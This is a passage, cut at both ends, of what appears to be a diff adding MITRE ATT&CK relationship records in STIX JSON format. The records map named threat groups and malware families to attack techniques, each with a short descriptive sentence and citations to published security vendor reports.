Group](https://attack.mitre.org/groups/G0044) used a rootkit to modify typical server functionality.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.079Z", + "id": "relationship--05e05236-1635-48d7-8ee3-33319c01c815", + "source_ref": "intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff", + "modified": "2019-03-25T17:15:03.447Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Winnti April 2013", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017.", + "url": "https://securelist.com/winnti-more-than-just-a-game/37029/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[Calisto](https://attack.mitre.org/software/S0274)'s installation file is an unsigned DMG image under the guise of Intego\u2019s security solution for mac.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--cfa19bf2-af5e-4050-a3d9-fbd9684b867e", + "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.", + "source_name": "Securelist Calisto July 2018", + "url": "https://securelist.com/calisto-trojan-for-macos/86543/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) can gather very specific information about attached USB devices, to include device instance ID and drive geometry.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--7cac6ccb-d070-47da-8ebf-4034b0fddb7c", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "modified": "2019-06-24T17:08:51.630Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.", + "source_name": "Securelist BlackEnergy Nov 2014", + "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[Duqu](https://attack.mitre.org/software/S0038) uses a custom command and control protocol that communicates over commonly used ports, and is frequently encapsulated by application layer protocols.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--4ac3f9d6-73e6-49d0-a49a-329eca1f5a3a", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "modified": "2019-04-24T23:18:53.135Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec W32.Duqu", + "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392", + "description": "The net start and net stop commands can be used in [Net](https://attack.mitre.org/software/S0039) to execute or stop Windows services.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5fc0ca38-bb65-43ab-b8b2-6861442b25a8", + "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "modified": "2019-04-24T23:39:01.484Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.", + "source_name": "Savill 1999", + "url": "http://windowsitpro.com/windows/netexe-reference" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Sykipot](https://attack.mitre.org/software/S0018) may use ipconfig /all to gather system network configuration details.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--9b203f00-34db-475f-a28b-f5088d937f4e", + "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Blasco, J. (2011, December 12). Another Sykipot sample likely targeting US federal agencies. Retrieved March 28, 2016.", + "source_name": "AlienVault Sykipot 2011", + "url": "https://www.alienvault.com/open-threat-exchange/blog/another-sykipot-sample-likely-targeting-us-federal-agencies" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--3c02fb1f-cbdb-48f5-abaf-8c81d6e0c322", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--21c14374-e5a7-4a68-8ae8-12d5e47c1e63", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "modified": "2019-09-09T19:12:32.915Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has collected data from remote systems by mounting network shares with net use and using Robocopy to transfer data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--c2909563-2b7e-48d6-b165-05b8eff63862", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.515Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PWC Cloud Hopper April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Comnie](https://attack.mitre.org/software/S0244) uses the tasklist to view running processes on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--3c210990-7596-4773-a640-adf44490d08d", + "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.", + "source_name": "Palo Alto Comnie", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Mosquito](https://attack.mitre.org/software/S0256) executes cmd.exe and uses a pipe to read the results and send back the output to the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--c5535462-7d2c-4a97-a717-b29ea23e00cd", + "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "source_name": "ESET Turla Mosquito Jan 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", + "description": "The net view \\\\remotesystem and net share commands in [Net](https://attack.mitre.org/software/S0039) can be used to find shared drives and directories on remote and local systems respectively.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--3b5d1788-c59b-4e84-97b0-b109df608619", + "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "modified": "2019-04-24T23:39:01.502Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.", + "source_name": "Savill 1999", + "url": "http://windowsitpro.com/windows/netexe-reference" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[Daserf](https://attack.mitre.org/software/S0187) uses RC4 encryption to obfuscate HTTP traffic.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--ce9dbe5b-1b16-41d6-a7af-a2a1b33c4552", + "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[Axiom](https://attack.mitre.org/groups/G0001) has been known to dump credentials.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.031Z", + "id": "relationship--fad2a504-6e00-4892-bf88-b49d6d18788c", + "source_ref": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973", + "modified": "2019-03-22T19:55:13.724Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta-Axiom", + "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.", + "url": "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used the publicly available tool SoftPerfect Network Scanner as well as a custom tool called GOLDIRONY to conduct network scanning.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--393a3ec4-9970-44ab-ae63-1e9c6bed0310", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:40.870Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT34 Webinar Dec 2017", + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[BACKSPACE](https://attack.mitre.org/software/S0031) is capable of deleting Registry keys, sub-keys, and values on a victim system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--2dec6ce1-e459-4266-86d5-f336ab056f17", + "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[APT37](https://attack.mitre.org/groups/G0067)'s has added persistence via the Registry key HKCU\\Software\\Microsoft\\CurrentVersion\\Run\\.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--0500bac5-bc50-4529-ae5f-b4e1a85fa7d7", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "modified": "2019-09-09T19:12:32.648Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + }, + { + "source_name": "Talos Group123", + "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "One [HTTPBrowser](https://attack.mitre.org/software/S0070) variant connected to its C2 server over port 8080.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--030fb5ef-3900-4f60-a1d2-0f1d67940aed", + "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Desai, D.. (2015, August 14). Chinese cyber espionage APT group leveraging recently leaked Hacking Team exploits to target a Financial Services Firm. Retrieved January 26, 2016.", + "source_name": "ZScaler Hacking Team", + "url": "http://research.zscaler.com/2015/08/chinese-cyber-espionage-apt-group.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830", + "description": "[WINERACK](https://attack.mitre.org/software/S0219) can enumerate active windows.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--69f45e5e-2ebe-4cce-a4cd-e1db67bdff1a", + "source_ref": "malware--49abab73-3c5c-476e-afd5-69b5c732d845", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used regsvr32 for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--c334b4c6-43f1-4452-8a1f-3d056fba9ac0", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "modified": "2019-04-25T12:24:57.128Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[MobileOrder](https://attack.mitre.org/software/S0079) has a command to upload to its C2 server victim mobile device information, including IMEI, IMSI, SIM card serial number, phone number, Android version, and other information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a02da835-676d-47df-86c6-547a7d29dbae", + "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "source_name": "Scarlet Mimic Jan 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Psylo](https://attack.mitre.org/software/S0078) uses HTTPS for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--58f6b7ce-c0d0-4a54-b60d-1c39d6204796", + "source_ref": "malware--dfb5fa9b-3051-4b97-8035-08f80aef945b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "source_name": "Scarlet Mimic Jan 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used various types of scripting for execution, including .bat and .vbs scripts. The group has also used macros to deliver malware such as [QUADAGENT](https://attack.mitre.org/software/S0269) and [OopsIE](https://attack.mitre.org/software/S0264).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--e8ce10b4-3b00-40c1-983a-1d87ff9a68ee", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:40.865Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + }, + { + "description": "Falcone, R. and Lee, B. (2017, July 27). OilRig Uses ISMDoor Variant; Possibly Linked to Greenbug Threat Group. Retrieved January 8, 2018.", + "source_name": "OilRig ISMAgent July 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/07/unit42-oilrig-uses-ismdoor-variant-possibly-linked-greenbug-threat-group/" + }, + { + "source_name": "Unit 42 OopsIE! Feb 2018", + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/" + }, + { + "source_name": "Unit 42 QUADAGENT July 2018", + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + }, + { + "source_name": "Unit42 OilRig Nov 2018", + "description": "Falcone, R., Wilhoit, K.. (2018, November 16). Analyzing OilRig\u2019s Ops Tempo from Testing to Weaponization to Delivery. Retrieved April 23, 2019.", + "url": "https://unit42.paloaltonetworks.com/unit42-analyzing-oilrigs-ops-tempo-testing-weaponization-delivery/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Pisloader](https://attack.mitre.org/software/S0124) establishes persistence via a Registry Run key.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--02a629d3-b970-43e8-a11b-79f35107a4c0", + "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.", + "source_name": "Palo Alto DNS Requests", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6c174520-beea-43d9-aac6-28fb77f3e446", + "description": "The [Mimikatz](https://attack.mitre.org/software/S0002) credential dumper contains an implementation of an SSP.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--41f04732-8fdc-4b2f-9e22-7b78ff650e5d", + "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "modified": "2019-04-24T23:36:42.264Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Deply, B. (n.d.). Mimikatz. Retrieved September 29, 2015.", + "source_name": "Deply Mimikatz", + "url": "https://github.com/gentilkiwi/mimikatz" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[Volgmer](https://attack.mitre.org/software/S0180) checks the system for certain Registry keys.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--2a945fce-862b-46ff-8ee5-b78b220803f3", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "modified": "2019-10-15T22:51:02.891Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.", + "source_name": "US-CERT Volgmer 2 Nov 2017", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can list the running processes and get the process ID and parent process\u2019s ID.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--fa2a7222-e9b1-4e97-82da-42a9c4014bdd", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "modified": "2019-04-24T17:52:47.727Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) has a module for performing remote desktop access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--0a26c696-1288-4cb3-a24e-bbd64925b9f7", + "source_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470", + "modified": "2019-06-24T19:05:41.452Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub QuasarRAT", + "description": "MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.", + "url": "https://github.com/quasar/QuasarRAT" + }, + { + "source_name": "Volexity Patchwork June 2018", + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--9752aef4-a1f3-4328-929f-b64eb0536090", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--dff84383-c4c5-4974-a33d-9e43526abf49", + "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", + "modified": "2019-04-24T19:41:25.878Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "DarkReading FireEye FIN5 Oct 2015", + "description": "Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017.", + "url": "https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?" + }, + { + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) has used application shim databases for persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--506acc8a-e691-4f4e-b69f-bfab84cf2c73", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "modified": "2019-06-30T23:13:18.342Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FIN7 Shim Databases", + "description": "Erickson, J., McWhirt, M., Palombo, D. (2017, May 3). To SDB, Or Not To SDB: FIN7 Leveraging Shim Databases for Persistence. Retrieved July 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "description": "[Comnie](https://attack.mitre.org/software/S0244) uses blogs and third-party sites (GitHub, tumbler, and BlogSpot) to avoid DNS-based blocking of their communication to the command and control server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--3674346a-5212-4b42-9c1d-3e73eee95d06", + "source_ref": 